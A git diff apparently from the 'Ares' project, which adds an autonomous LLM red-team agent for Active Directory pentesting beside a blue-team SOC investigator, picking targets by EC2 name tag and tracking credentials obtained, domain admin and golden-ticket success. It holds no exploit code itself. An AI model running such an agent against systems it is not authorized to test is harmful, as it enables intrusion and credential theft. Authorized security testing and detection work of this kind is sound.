- - `Anthropic` → `api-key` field
-2. Start Ares with the configured platform (https://platform.dev.plundr.ai/)
-3. Poll for alerts every 30 seconds (configurable)
+ - `Ares Grafana MCP` → `grafana-token` field (blue team only)
+ - `claude.ai` → `dreadnode-api-key` field
+2. Start the agent with the configured platform (https://platform.dev.plundr.ai/)
## Available Tasks
-### Running Ares
+### Blue Team Tasks
-#### `task ares:run`
+#### `task ares:blue:`
-Run Ares in poll mode with 1Password API keys.
+Run Blue Team agent in poll mode with 1Password API keys.
**Example:**
```bash
# Use default configuration
-task ares:run
+task ares:blue:
# Custom Grafana URL
-task ares:run GRAFANA_URL=http://grafana.example.com:3000
+task ares:blue: GRAFANA_URL=http://grafana.example.com:3000
# Custom model
-task ares:run MODEL=gpt-4o
+task ares:blue: MODEL=gpt-4o
# Custom poll interval (60 seconds)
-task ares:run POLL_INTERVAL=60
-
-# Multiple overrides
-task ares:run \
- GRAFANA_URL=http://grafana.example.com:3000 \
- LOKI_URL=http://loki.example.com:3100 \
- MODEL=claude-sonnet-4-20250514 \
- POLL_INTERVAL=60
+task ares:blue: POLL_INTERVAL=60
```
-#### `task ares:run:local`
+#### `task ares:blue:once:`
-Run Ares using `.env` file instead of 1Password.
+Run Blue Team agent once and exit (processes current alerts only).
-**Example:**
+```bash
+task ares:blue:once:
+```
+
+#### `task ares:blue:local:`
+
+Run Blue Team using `.env` file instead of 1Password.
```bash
# Create .env file first
@@ -94,7 +102,55 @@ cp .env.example .env
# Edit .env with your API keys
# Run with .env
-task ares:run:local
+task ares:blue:local:
+```
+
+### Red Team Tasks
+
+#### `task ares:red TARGET=`
+
+Run Red Team agent with automatic EC2 target discovery.
+
+**How Target Discovery Works:**
+
+When you provide a non-IP target (like `dreadgoad`), the task queries AWS EC2 to
+find running instances where the Name tag contains your filter string:
+
+```bash
+aws ec2 describe-instances \
+ --filters "Name=instance-state-name,Values=running" \
+ --query "Reservations[*].Instances[?contains(Tags[?Key=='Name'].Value|[0], 'TARGET')].PrivateIpAddress"
+```
+
+The first matching instance's private IP is used as the target.
+
+**Example:**
+
+```bash
+# EC2 target discovery - finds instances with "dreadgoad" in Name tag
+task -y ares:red TARGET=dreadgoad
+
+# Custom model and max steps
+task -y ares:red TARGET=dreadgoad MODEL=claude-sonnet-4-20250514 MAX_STEPS=300
+
+# Custom AWS profile and region
+task -y ares:red TARGET=dreadgoad PROFILE=production REGION=us-east-1
+```
+
+#### `task ares:red: TARGET=`
+
+Run Red Team agent against a direct IP address (bypasses EC2 discovery).
+
+```bash
+task ares:red: TARGET=192.168.1.100
+```
+
+#### `task ares:red:local: TARGET=`
+
+Run Red Team using `.env` file instead of 1Password.
+
+```bash
+task ares:red:local: TARGET=192.168.1.100
```
#### `task ares:investigate`
@@ -279,12 +335,12 @@ Ares expects the following items in 1Password:
- Field: `api-key`
- Used for: Platform observability and tracing
-2. **Grafana** (Optional, can use GRAFANA_API_KEY env var)
- - Field: `api-key`
- - Used for: Alert polling and dashboard access
+2. **Ares Grafana MCP** (Required for Blue Team)
+ - Field: `grafana-token`
+ - Used for: Alert polling and Loki/Prometheus queries
-3. **Anthropic** (Optional, can use ANTHROPIC_API_KEY env var)
- - Field: `api-key`
+3. **claude.ai** (Required)
+ - Field: `dreadnode-api-key`
- Used for: Claude model inference
### Creating 1Password Items
@@ -301,14 +357,14 @@ op item create \
# Create Grafana item
op item create \
--category="API Credential" \
- --title="Grafana" \
- api-key="your-grafana-api-key"
+ --title="Ares Grafana MCP" \
+ grafana-token="your-grafana-token"
# Create Anthropic item
op item create \
--category="API Credential" \
- --title="Anthropic" \
- api-key="your-anthropic-api-key"
+ --title="claude.ai" \
+ dreadnode-api-key="your-anthropic-api-key"
```
### Verifying 1Password Access
@@ -320,15 +376,15 @@ Test that you can retrieve the API keys:
op item get "Dreadnode Dev Platform" --fields api-key --reveal
# Test Grafana key
-op item get "Grafana" --fields api-key --reveal
+op item get "Ares Grafana MCP" --fields grafana-token --reveal
# Test Anthropic key
-op item get "Anthropic" --fields api-key --reveal
+op item get "claude.ai" --fields dreadnode-api-key --reveal
```
## Common Workflows
-### Development Workflow
+### Blue Team Development Workflow
```bash
# 1. Check configuration
@@ -337,8 +393,8 @@ task ares:config:check
# 2. Test MITRE data loading
task ares:mitre:test
-# 3. Run Ares in poll mode
-task ares:run
+# 3. Run Blue Team agent in poll mode
+task ares:blue:
# 4. In another terminal, check reports
task ares:reports:list
@@ -347,14 +403,12 @@ task ares:reports:list
task ares:reports:latest
```
-### Production Workflow
+### Blue Team Production Workflow
```bash
# Run with production configuration
-task ares:run \
+task ares:blue: \
GRAFANA_URL=http://grafana.prod.example.com:3000 \
- LOKI_URL=http://loki.prod.example.com:3100 \
- PROMETHEUS_URL=http://prometheus.prod.example.com:9090 \
DREADNODE_PROJECT=ares-prod \
POLL_INTERVAL=60
```
@@ -380,6 +434,19 @@ task ares:investigate ALERT=suspicious-activity.json
task ares:reports:latest
```
+### Red Team Workflow
+
+```bash
+# 1. Run red team agent (discovers target via EC2 Name tag)
+task -y ares:red TARGET=dreadgoad
+
+# Or target a specific IP directly
+task ares:red: TARGET=192.168.1.100
+
+# 2. Monitor progress (reports generated on completion)
+task ares:reports:latest
+```
+
## Troubleshooting
### 1Password CLI Not Found
diff --git a/pyproject.toml b/pyproject.toml
index 39dd9195..2db34b49 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -48,10 +48,10 @@ dev = [
]
[project.scripts]
-ares = "src.__main__:run"
+ares = "ares.__main__:run"
[tool.poetry.plugins."pipx.run"]
-ares = 'src.__main__:run'
+ares = 'ares.__main__:run'
[project.urls]
Homepage = "https://github.com/dreadnode/ares"
@@ -65,7 +65,7 @@ requires = ["hatchling"]
build-backend = "hatchling.build"
[tool.hatch.build.targets.wheel]
-packages = ["src"]
+packages = ["src/ares"]
[tool.hatch.build.targets.sdist]
include = ["/src", "/tests", "/docs", "/README.md", "/LICENSE"]
@@ -76,7 +76,7 @@ include = ["/src", "/tests", "/docs", "/README.md", "/LICENSE"]
asyncio_mode = "auto"
testpaths = ["tests"]
python_files = ["test_*.py"]
-addopts = ["--strict-markers", "--cov=src", "--cov-report=term-missing"]
+addopts = ["--strict-markers", "--cov=ares", "--cov-report=term-missing"]
pythonpath = ["."]
markers = [
"slow: marks tests as slow (deselect with '-m \"not slow\"')",
@@ -89,7 +89,7 @@ python_version = "3.10"
exclude = ["tests", ".hooks", "scripts"]
[[tool.mypy.overrides]]
-module = ["src.*"]
+module = ["ares.*"]
disable_error_code = [
"unused-ignore",
"import-untyped",
@@ -101,6 +101,9 @@ disable_error_code = [
"attr-defined",
"call-arg",
"list-item",
+ "misc",
+ "valid-type",
+ "untyped-decorator",
]
[tool.pyright]
@@ -114,7 +117,13 @@ exclude = [".hooks", "tests"]
[tool.bandit]
exclude_dirs = ["tests"]
-skips = ["B101"]
+skips = [
+ "B101", # assert_used
+ "B603", # subprocess_without_shell_equals_true (intentional for pentesting tools)
+ "B404", # import_subprocess (required for pentesting)
+ "B110", # try_except_pass (acceptable in cleanup code)
+ "B107", # hardcoded_password_default (false positives on empty string defaults)
+]
[tool.coverage.run]
branch = true
@@ -160,6 +169,21 @@ ignore = [
"TRY300", # consider moving to else block - often less readable
"BLE001", # blind exception catching - acceptable in top-level handlers
"PLR0915", # too many statements - acceptable for main functions
+ "G004", # f-strings in logging - we use loguru, not stdlib logging
+ "TRY400", # logging.exception vs logging.error - we use loguru
+ "PLR0911", # too many return statements - acceptable for tool methods
+ "ARG001", # unused function argument - tools API requires specific signatures
+ "ARG002", # unused method argument - tools API requires specific signatures
+ "PLW0603", # global statement - acceptable for module-level caching
+ "SLF001", # private member access - intentional for internal APIs
+ "SIM105", # contextlib.suppress - style preference
+ "S110", # try-except-pass - acceptable in cleanup code
+ "PTH108", # os.unlink vs Path.unlink - compatibility
+ "PTH110", # os.path.exists vs Path.exists - compatibility
+ "PTH123", # open() vs Path.open() - style preference
+ "RUF005", # list concatenation - style preference
+ "FBT001", # boolean positional argument - acceptable for tool methods
+ "FBT002", # boolean default positional argument - acceptable for tool methods
]
[tool.ruff.format]
diff --git a/src/__init__.py b/src/__init__.py
deleted file mode 100644
index 67d90759..00000000
--- a/src/__init__.py
+++ /dev/null
@@ -1,3 +0,0 @@
-"""Ares - Autonomous SOC Investigation Agent."""
-
-__version__ = "0.1.0"
diff --git a/src/ares/__init__.py b/src/ares/__init__.py
new file mode 100644
index 00000000..76b7389a
--- /dev/null
+++ b/src/ares/__init__.py
@@ -0,0 +1,26 @@
+"""
+Ares - Autonomous SOC Investigation and Red Team Agent.
+
+A framework for autonomous security operations using LLM-powered agents.
+"""
+
+__version__ = "0.1.0"
+
+from ares.agents import InvestigationOrchestrator, RedTeamOrchestrator
+from ares.core import (
+ InvestigationState,
+ RedTeamState,
+ create_investigation_agent,
+ create_redteam_agent,
+)
+from ares.integrations import MITREAttackClient
+
+__all__ = [
+ "InvestigationOrchestrator",
+ "InvestigationState",
+ "MITREAttackClient",
+ "RedTeamOrchestrator",
+ "RedTeamState",
+ "create_investigation_agent",
+ "create_redteam_agent",
+]
diff --git a/src/__main__.py b/src/ares/__main__.py
similarity index 100%
rename from src/__main__.py
rename to src/ares/__main__.py
diff --git a/src/ares/agents/__init__.py b/src/ares/agents/__init__.py
new file mode 100644
index 00000000..7a5f1e05
--- /dev/null
+++ b/src/ares/agents/__init__.py
@@ -0,0 +1,9 @@
+"""Ares agent orchestrators for blue and red team operations."""
+
+from ares.agents.blue.soc_investigator import InvestigationOrchestrator
+from ares.agents.red.pentester import RedTeamOrchestrator
+
+__all__ = [
+ "InvestigationOrchestrator",
+ "RedTeamOrchestrator",
+]
diff --git a/src/ares/agents/blue/__init__.py b/src/ares/agents/blue/__init__.py
new file mode 100644
index 00000000..d219a01a
--- /dev/null
+++ b/src/ares/agents/blue/__init__.py
@@ -0,0 +1,8 @@
+"""Blue team agent orchestrators."""
+
+from ares.agents.blue.soc_investigator import InvestigationOrchestrator, build_initial_prompt
+
+__all__ = [
+ "InvestigationOrchestrator",
+ "build_initial_prompt",
+]
diff --git a/src/agent.py b/src/ares/agents/blue/soc_investigator.py
similarity index 80%
rename from src/agent.py
rename to src/ares/agents/blue/soc_investigator.py
index f9764b40..6a4e3f16 100644
--- a/src/agent.py
+++ b/src/ares/agents/blue/soc_investigator.py
@@ -5,16 +5,16 @@
"""
import uuid
-from datetime import datetime, timezone
+from datetime import datetime, timedelta, timezone
from pathlib import Path
import dreadnode as dn
from loguru import logger
-from .core import create_investigation_agent
-from .mitre import MITREAttackClient
-from .models import InvestigationState
-from .templates import get_template_loader
+from ares.core.factories.blue_factory import create_investigation_agent
+from ares.core.models import InvestigationState
+from ares.core.templates import get_template_loader
+from ares.integrations.mitre import MITREAttackClient
def build_initial_prompt(alert: dict) -> str:
@@ -38,6 +38,22 @@ def build_initial_prompt(alert: dict) -> str:
labels = alert.get("labels", {})
annotations = alert.get("annotations", {})
+ # Extract MITRE technique from alert if present
+ mitre_technique = None
+ for key in ["mitre_technique", "mitre", "technique_id", "technique"]:
+ if key in labels:
+ mitre_technique = labels[key]
+ break
+ # Also check annotations
+ if not mitre_technique:
+ for key in ["mitre_technique", "mitre", "technique_id", "technique"]:
+ if key in annotations:
+ mitre_technique = annotations[key]
+ break
+
+ # Current time for reference
+ current_time = datetime.now(timezone.utc)
+
loader = get_template_loader()
return loader.render(
"agent/initial_alert_prompt.md.jinja",
@@ -45,10 +61,18 @@ def build_initial_prompt(alert: dict) -> str:
severity=labels.get("severity", "unknown"),
instance=labels.get("instance", "unknown"),
job=labels.get("job", "unknown"),
- starts_at=alert.get("startsAt", datetime.now(timezone.utc).isoformat()),
+ starts_at=alert.get("startsAt", current_time.isoformat()),
summary=annotations.get("summary", "No summary provided"),
description=annotations.get("description", "No description provided"),
labels=labels,
+ mitre_technique=mitre_technique,
+ current_time=current_time.isoformat().replace("+00:00", "Z"),
+ current_time_minus_1h=(current_time - timedelta(hours=1))
+ .isoformat()
+ .replace("+00:00", "Z"),
+ current_time_minus_2h=(current_time - timedelta(hours=2))
+ .isoformat()
+ .replace("+00:00", "Z"),
)
@@ -87,7 +111,7 @@ def __init__(
async def _ensure_mcp_connection(self) -> None:
"""Ensure MCP connection is established."""
if self._mcp_client is None:
- from .tools import connect_grafana_mcp
+ from ares.tools.blue.grafana import connect_grafana_mcp
try:
logger.info("Connecting to Grafana MCP server...")
@@ -150,6 +174,19 @@ async def investigate(self, alert: dict) -> dict:
alert=alert,
)
+ # Auto-extract and record MITRE technique from alert
+ labels = alert.get("labels", {})
+ annotations = alert.get("annotations", {})
+ for key in ["mitre_technique", "mitre", "technique_id", "technique"]:
+ if labels.get(key):
+ state.identified_techniques.add(labels[key])
+ logger.info(f"Auto-recorded MITRE technique from alert: {labels[key]}")
+ break
+ if annotations.get(key):
+ state.identified_techniques.add(annotations[key])
+ logger.info(f"Auto-recorded MITRE technique from alert: {annotations[key]}")
+ break
+
initial_prompt = build_initial_prompt(alert)
with dn.run(tags=["soc-investigation", alert_name]):
@@ -222,7 +259,7 @@ async def investigate(self, alert: dict) -> dict:
def _generate_report(self, state: InvestigationState, _result) -> Path:
"""Generate the markdown investigation report."""
- from .report import MarkdownReportGenerator
+ from ares.reports.investigation import MarkdownReportGenerator
generator = MarkdownReportGenerator(self.report_dir)
return generator.generate(state)
diff --git a/src/ares/agents/red/__init__.py b/src/ares/agents/red/__init__.py
new file mode 100644
index 00000000..a4348970
--- /dev/null
+++ b/src/ares/agents/red/__init__.py
@@ -0,0 +1,8 @@
+"""Red team agent orchestrators."""
+
+from ares.agents.red.pentester import RedTeamOrchestrator, build_initial_task
+
+__all__ = [
+ "RedTeamOrchestrator",
+ "build_initial_task",
+]
diff --git a/src/ares/agents/red/pentester.py b/src/ares/agents/red/pentester.py
new file mode 100644
index 00000000..d976f3f1
--- /dev/null
+++ b/src/ares/agents/red/pentester.py
@@ -0,0 +1,226 @@
+"""
+Ares Red Team Agent.
+
+Orchestrates penetration testing operations for Active Directory environments.
+"""
+
+import uuid
+from pathlib import Path
+
+import dreadnode as dn
+from loguru import logger
+
+from ares.core.factories.red_factory import create_redteam_agent
+from ares.core.models import RedTeamState, Target
+from ares.core.templates import get_template_loader
+from ares.integrations.mitre import MITREAttackClient
+from ares.reports.redteam import RedTeamReportGenerator
+
+
+def build_initial_task(target_ip: str) -> str:
+ """Build the initial task prompt for red team operation.
+
+ Args:
+ target_ip: IP address of the primary target.
+
+ Returns:
+ Formatted task prompt string for agent initialization.
+
+ Example:
+ >>> task = build_initial_task("192.168.1.100")
+ >>> '192.168.1.100' in task
+ True
+ """
+ loader = get_template_loader()
+ return loader.render(
+ "redteam/agents/initial_task.md.jinja",
+ target_ip=target_ip,
+ )
+
+
+class RedTeamOrchestrator:
+ """Main orchestrator for red team operations.
+
+ Creates and manages Dreadnode Agents for penetration testing engagements.
+
+ Attributes:
+ model: LLM model identifier string.
+ mitre_client: Client for MITRE ATT&CK data lookups.
+ report_dir: Directory path for generated reports.
+ max_steps: Maximum number of agent steps per operation.
+ """
+
+ def __init__(
+ self,
+ model: str,
+ mitre_client: MITREAttackClient,
+ report_dir: Path,
+ max_steps: int = 200,
+ ):
+ self.model = model
+ self.mitre_client = mitre_client
+ self.report_dir = report_dir
+ self.max_steps = max_steps
+
+ async def execute_operation(self, target_ip: str) -> dict:
+ """Execute a red team operation against a target.
+
+ Creates a new agent for this operation and runs it until completion.
+
+ Args:
+ target_ip: IP address of the primary target system.
+
+ Returns:
+ A dict containing:
+ - operation_id: Unique identifier for this operation
+ - status: "completed" or "failed"
+ - report_path: Path to the generated markdown report
+ - host_count: Number of hosts discovered
+ - credential_count: Number of credentials obtained
+ - has_domain_admin: Whether domain admin access was achieved
+ - has_golden_ticket: Whether golden ticket was generated
+
+ Raises:
+ TimeoutError: If operation exceeds the configured timeout.
+ """
+ operation_id = f"redteam-{uuid.uuid4().hex[:8]}"
+
+ logger.info(f"Starting red team operation {operation_id} against: {target_ip}")
+
+ # Create operation state
+ state = RedTeamState(
+ operation_id=operation_id,
+ target=Target(ip=target_ip),
+ )
+
+ initial_task = build_initial_task(target_ip)
+
+ with dn.run(tags=["red-team-operation", target_ip]):
+ dn.log_params(
+ model=self.model,
+ operation_id=operation_id,
+ target_ip=target_ip,
+ max_steps=self.max_steps,
+ )
+ dn.log_input("target", {"ip": target_ip})
+
+ agent = create_redteam_agent(
+ model=self.model,
+ mitre_client=self.mitre_client,
+ state=state,
+ max_steps=self.max_steps,
+ )
+
+ # Run the operation with timeout
+ try:
+ import asyncio
+
+ logger.info(f"Starting agent.run() with max_steps={self.max_steps}")
+ logger.info(f"Initial task length: {len(initial_task)} chars")
+
+ # Add a generous timeout (10 minutes per step for red team operations)
+ timeout_seconds = self.max_steps * 600 # 10 minutes per step
+
+ result = await asyncio.wait_for(
+ agent.run(initial_task),
+ timeout=timeout_seconds,
+ )
+
+ logger.success(
+ f"Red team agent completed: {result.steps} steps, {result.stop_reason}"
+ )
+
+ # Log additional details about the result
+ if hasattr(result, "error") and result.error:
+ logger.error(f"Agent error: {result.error}")
+ if hasattr(result, "last_error") and result.last_error:
+ logger.error(f"Last error: {result.last_error}")
+ if hasattr(result, "messages") and result.messages:
+ logger.info(f"Messages count: {len(result.messages)}")
+ for i, msg in enumerate(result.messages[-3:]): # Last 3 messages
+ logger.info(f"Message {i}: {type(msg).__name__} - {str(msg)[:200]}")
+
+ # Mark operation as completed
+ state.completed = True
+
+ # Generate report
+ report_path = self._generate_report(state, result)
+
+ dn.log_output("report_path", str(report_path))
+ dn.log_metric("operation_success", 1)
+ dn.log_metric("hosts_discovered", state.host_count)
+ dn.log_metric("credentials_obtained", state.credential_count)
+ dn.log_metric("domain_admin_achieved", 1 if state.has_domain_admin else 0)
+ dn.log_metric("golden_ticket_achieved", 1 if state.has_golden_ticket else 0)
+
+ return {
+ "operation_id": operation_id,
+ "status": "completed",
+ "report_path": str(report_path),
+ "host_count": state.host_count,
+ "user_count": len(state.users),
+ "credential_count": state.credential_count,
+ "admin_count": state.admin_count,
+ "has_domain_admin": state.has_domain_admin,
+ "has_golden_ticket": state.has_golden_ticket,
+ "techniques_identified": list(state.identified_techniques),
+ }
+
+ except asyncio.TimeoutError:
+ logger.error(f"Operation {operation_id} timed out after {timeout_seconds} seconds")
+ dn.log_metric("operation_timeout", 1)
+
+ # Generate partial report
+ state.report_summary = "Operation timed out before completion"
+ report_path = self._generate_report(state, None)
+
+ return {
+ "operation_id": operation_id,
+ "status": "timeout",
+ "report_path": str(report_path),
+ "host_count": state.host_count,
+ "credential_count": state.credential_count,
+ "has_domain_admin": state.has_domain_admin,
+ "has_golden_ticket": state.has_golden_ticket,
+ }
+
+ except Exception as e:
+ logger.exception(f"Operation {operation_id} failed with error: {e}")
+ dn.log_metric("operation_error", 1)
+
+ # Generate error report
+ state.report_summary = f"Operation failed: {e!s}"
+ report_path = self._generate_report(state, None)
+
+ return {
+ "operation_id": operation_id,
+ "status": "failed",
+ "error": str(e),
+ "report_path": str(report_path),
+ }
+
+ def _generate_report(self, state: RedTeamState, result: any) -> Path:
+ """Generate the red team operation report.
+
+ Args:
+ state: The operation state containing all discoveries.
+ result: The agent result object (or None if incomplete).
+
+ Returns:
+ Path to the generated report markdown file.
+ """
+ report_generator = RedTeamReportGenerator()
+ report_content = report_generator.generate(state)
+
+ # Write report to file
+ report_filename = f"{state.operation_id}_report.md"
+ report_path = self.report_dir / report_filename
+
+ self.report_dir.mkdir(parents=True, exist_ok=True)
+
+ with open(report_path, "w") as f:
+ f.write(report_content)
+
+ logger.success(f"Red team report generated: {report_path}")
+
+ return report_path
diff --git a/src/ares/core/__init__.py b/src/ares/core/__init__.py
new file mode 100644
index 00000000..48335867
--- /dev/null
+++ b/src/ares/core/__init__.py
@@ -0,0 +1,13 @@
+"""Core functionality for Ares agents."""
+
+from ares.core.factories import create_investigation_agent, create_redteam_agent
+from ares.core.models import InvestigationState, RedTeamState
+from ares.core.templates import get_template_loader
+
+__all__ = [
+ "InvestigationState",
+ "RedTeamState",
+ "create_investigation_agent",
+ "create_redteam_agent",
+ "get_template_loader",
+]
diff --git a/src/engines.py b/src/ares/core/engines.py
similarity index 58%
rename from src/engines.py
rename to src/ares/core/engines.py
index 667b0232..a4f4d0d9 100644
--- a/src/engines.py
+++ b/src/ares/core/engines.py
@@ -4,15 +4,18 @@
These engines generate investigative questions based on:
1. MITRE ATT&CK Navigator: Technique chains, tactical gaps, attack lifecycle
2. Pyramid of Pain Climber: Elevating from trivial IOCs to meaningful TTPs
+3. Attack Chain Awareness: Precursor techniques that typically precede detected attacks
+4. Detection Recipes: Pattern-based detection for Windows security events
"""
import uuid
from pathlib import Path
-from typing import TypedDict
+from typing import Any, TypedDict
import yaml
-from .mitre import MITREAttackClient
+from ares.integrations.mitre import MITREAttackClient
+
from .models import (
InvestigationState,
InvestigativeQuestion,
@@ -22,6 +25,71 @@
from .templates import get_template_loader
+# Type definitions for attack chain data
+class PrecursorTechnique(TypedDict):
+ """A technique that typically precedes another."""
+
+ technique: str
+ name: str
+ relationship: str
+ relevance: float
+ rationale: str
+
+
+class WindowsEvent(TypedDict):
+ """Windows Security Event for detection."""
+
+ event_id: int
+ name: str
+ relevance: float
+ description: str
+ query_pattern: str
+
+
+class AttackChainEntry(TypedDict, total=False):
+ """Attack chain definition for a technique."""
+
+ name: str
+ description: str
+ precursors: list[PrecursorTechnique]
+ follow_on: list[PrecursorTechnique]
+ windows_events: list[WindowsEvent]
+ log_patterns: list[dict[str, str]]
+ investigation_questions: list[dict[str, Any]]
+
+
+def _load_attack_chains() -> dict[str, AttackChainEntry]:
+ """Load attack chain definitions from YAML."""
+ project_root = Path(__file__).parent.parent.parent.parent
+ chains_path = project_root / "templates" / "engines" / "attack_chains.yaml"
+
+ if not chains_path.exists():
+ return {}
+
+ with chains_path.open() as f:
+ data = yaml.safe_load(f)
+
+ # Filter out non-technique entries (like document markers)
+ return {k: v for k, v in data.items() if isinstance(v, dict) and k.startswith("T")}
+
+
+def _load_detection_recipes() -> dict[str, Any]:
+ """Load detection recipes from YAML."""
+ project_root = Path(__file__).parent.parent.parent.parent
+ recipes_path = project_root / "templates" / "engines" / "detection_recipes.yaml"
+
+ if not recipes_path.exists():
+ return {}
+
+ with recipes_path.open() as f:
+ return yaml.safe_load(f) or {}
+
+
+# Global caches for attack chains and detection recipes
+ATTACK_CHAINS: dict[str, AttackChainEntry] = {}
+DETECTION_RECIPES: dict[str, Any] = {}
+
+
class ClimbStrategy(TypedDict):
"""Type definition for pyramid climbing strategies.
@@ -46,14 +114,28 @@ class MITRENavigator:
2. Predict follow-on techniques based on attack patterns
3. Identify tactical gaps in the investigation
4. Ensure complete attack lifecycle coverage
+ 5. Investigate PRECURSOR techniques that typically come BEFORE detected attacks
+ 6. Apply detection recipes for Windows security event patterns
Attributes:
mitre: MITREAttackClient instance for technique lookups.
+ attack_chains: Loaded attack chain definitions.
+ detection_recipes: Loaded detection recipes.
"""
def __init__(self, mitre_client: MITREAttackClient):
self.mitre = mitre_client
+ # Load attack chains and detection recipes (lazy load, cached globally)
+ global ATTACK_CHAINS, DETECTION_RECIPES
+ if not ATTACK_CHAINS:
+ ATTACK_CHAINS = _load_attack_chains()
+ if not DETECTION_RECIPES:
+ DETECTION_RECIPES = _load_detection_recipes()
+
+ self.attack_chains = ATTACK_CHAINS
+ self.detection_recipes = DETECTION_RECIPES
+
def generate_questions(
self,
state: InvestigationState,
@@ -79,13 +161,20 @@ def generate_questions(
"""
questions = []
- # 1. Follow-on technique questions
+ # 1. PRECURSOR technique questions (HIGHEST PRIORITY - what came BEFORE?)
+ # This is critical for understanding the full attack chain
+ questions.extend(self._generate_precursor_questions(state))
+
+ # 2. Detection recipe questions (Windows security events)
+ questions.extend(self._generate_detection_recipe_questions(state))
+
+ # 3. Follow-on technique questions
questions.extend(self._generate_followon_questions(state))
- # 2. Tactical gap questions
+ # 4. Tactical gap questions
questions.extend(self._generate_gap_questions(state))
- # 3. Unmapped evidence questions
+ # 5. Unmapped evidence questions
questions.extend(self._generate_mapping_questions(state))
return questions
@@ -218,12 +307,190 @@ def _generate_mapping_questions(
return questions
+ def _generate_precursor_questions(
+ self,
+ state: InvestigationState,
+ ) -> list[InvestigativeQuestion]:
+ """Generate questions about PRECURSOR techniques.
+
+ This is CRITICAL for understanding the full attack chain.
+ When we detect a technique like DCSync (T1003.006), we need to
+ investigate what came BEFORE - enumeration, brute force, share access, etc.
+ """
+ questions = []
+ loader = get_template_loader()
+
+ for tech_id in state.identified_techniques:
+ # Check if we have attack chain data for this technique
+ chain_data = self.attack_chains.get(tech_id)
+ if not chain_data:
+ continue
+
+ precursors = chain_data.get("precursors", [])
+ windows_events = chain_data.get("windows_events", [])
+ log_patterns = chain_data.get("log_patterns", [])
+ investigation_qs = chain_data.get("investigation_questions", [])
+
+ technique = self.mitre.get_technique(tech_id)
+ tech_name = technique.name if technique else tech_id
+
+ # Generate questions for each precursor technique
+ for precursor in precursors:
+ precursor_id = precursor.get("technique", "")
+ if precursor_id in state.identified_techniques:
+ continue # Already found this one
+
+ # Format Windows events for this precursor
+ relevant_events = [
+ f"Event {e['event_id']} ({e['name']})"
+ for e in windows_events
+ if e.get("relevance", 0) > 0.7
+ ][:3]
+ events_str = ", ".join(relevant_events) if relevant_events else None
+
+ # Format log patterns
+ patterns_str = None
+ if log_patterns:
+ patterns_str = "; ".join([p.get("name", "") for p in log_patterns[:2]])
+
+ question_text = loader.render(
+ "engines/mitre_precursor.md.jinja",
+ detected_technique_id=tech_id,
+ detected_technique_name=tech_name,
+ precursor_technique_id=precursor_id,
+ precursor_technique_name=precursor.get("name", precursor_id),
+ rationale=precursor.get("rationale", ""),
+ windows_events=events_str,
+ log_patterns=patterns_str,
+ )
+
+ questions.append(
+ InvestigativeQuestion(
+ id=f"precursor-{uuid.uuid4().hex[:8]}",
+ text=question_text,
+ source=QuestionSource.MITRE_NAVIGATOR,
+ rationale=f"Precursor to {tech_id}: {precursor.get('rationale', '')}",
+ target_insight=f"Detect {precursor_id} before {tech_id}",
+ target_technique=precursor_id,
+ technique_chain_from=tech_id,
+ mitre_coverage_score=precursor.get("relevance", 0.8),
+ confidence_impact_score=0.9, # High priority
+ pyramid_elevation_score=0.8, # Helps understand TTPs
+ )
+ )
+
+ # Generate direct investigation questions from attack chain
+ for inv_q in investigation_qs:
+ questions.append(
+ InvestigativeQuestion(
+ id=f"chain-q-{uuid.uuid4().hex[:8]}",
+ text=inv_q.get("question", ""),
+ source=QuestionSource.MITRE_NAVIGATOR,
+ rationale=f"Attack chain investigation for {tech_id}",
+ target_insight="Understand full attack chain",
+ target_technique=inv_q.get("target_technique"),
+ technique_chain_from=tech_id,
+ mitre_coverage_score=inv_q.get("priority", 0.8),
+ confidence_impact_score=0.85,
+ )
+ )
+
+ return questions
+
+ def _generate_detection_recipe_questions(
+ self,
+ state: InvestigationState,
+ ) -> list[InvestigativeQuestion]:
+ """Generate questions based on detection recipes.
+
+ Detection recipes provide specific patterns for Windows security events
+ that should be investigated based on identified techniques.
+ """
+ questions = []
+
+ # Map technique IDs to recipe names
+ technique_to_recipe = {
+ "T1110": "password_spray",
+ "T1110.003": "password_spray",
+ "T1110.004": "credential_stuffing",
+ "T1135": "share_enumeration",
+ "T1087": "ldap_enumeration",
+ "T1087.002": "ldap_enumeration",
+ "T1558.003": "kerberos_attacks",
+ "T1558.004": "kerberos_attacks",
+ "T1558.001": "kerberos_attacks",
+ "T1003.006": "dcsync",
+ "T1550.002": "pass_the_hash",
+ "T1046": "service_enumeration",
+ }
+
+ for tech_id in state.identified_techniques:
+ recipe_name = technique_to_recipe.get(tech_id)
+ if not recipe_name:
+ continue
+
+ recipe = self.detection_recipes.get(recipe_name)
+ if not recipe:
+ continue
+
+ # Generate questions based on recipe indicators
+ indicators = recipe.get("indicators", [])
+ for indicator in indicators[:3]: # Limit indicators
+ questions.append(
+ InvestigativeQuestion(
+ id=f"recipe-{uuid.uuid4().hex[:8]}",
+ text=f"Detection recipe for {tech_id}: Check for '{indicator}'. Query Windows security logs for this pattern.",
+ source=QuestionSource.MITRE_NAVIGATOR,
+ rationale=f"Detection recipe indicator for {recipe_name}",
+ target_insight=f"Detect {recipe_name} pattern",
+ target_technique=tech_id,
+ mitre_coverage_score=0.85,
+ confidence_impact_score=0.8,
+ )
+ )
+
+ # Generate questions based on LogQL queries in recipe
+ logql_queries = recipe.get("logql_queries", [])
+ for query_info in logql_queries[:2]: # Limit queries
+ query_name = query_info.get("name", "")
+ questions.append(
+ InvestigativeQuestion(
+ id=f"recipe-q-{uuid.uuid4().hex[:8]}",
+ text=f"Execute detection query '{query_name}' to detect {recipe_name}. Use the suggested LogQL pattern from detection recipes.",
+ source=QuestionSource.MITRE_NAVIGATOR,
+ rationale=f"LogQL detection query for {recipe_name}",
+ target_insight=f"Execute {query_name}",
+ target_technique=tech_id,
+ mitre_coverage_score=0.80,
+ confidence_impact_score=0.75,
+ )
+ )
+
+ # Add investigation steps as questions
+ steps = recipe.get("investigation_steps", {})
+ if isinstance(steps, dict):
+ for step_num, step_text in list(steps.items())[:3]:
+ questions.append(
+ InvestigativeQuestion(
+ id=f"recipe-step-{uuid.uuid4().hex[:8]}",
+ text=f"Investigation step {step_num}: {step_text}",
+ source=QuestionSource.MITRE_NAVIGATOR,
+ rationale=f"Structured investigation for {recipe_name}",
+ target_insight=step_text,
+ target_technique=tech_id,
+ mitre_coverage_score=0.75,
+ confidence_impact_score=0.70,
+ )
+ )
+
+ return questions
+
# Load Pyramid of Pain climbing strategies from YAML
def _load_climb_strategies() -> dict[PyramidLevel, list[ClimbStrategy]]:
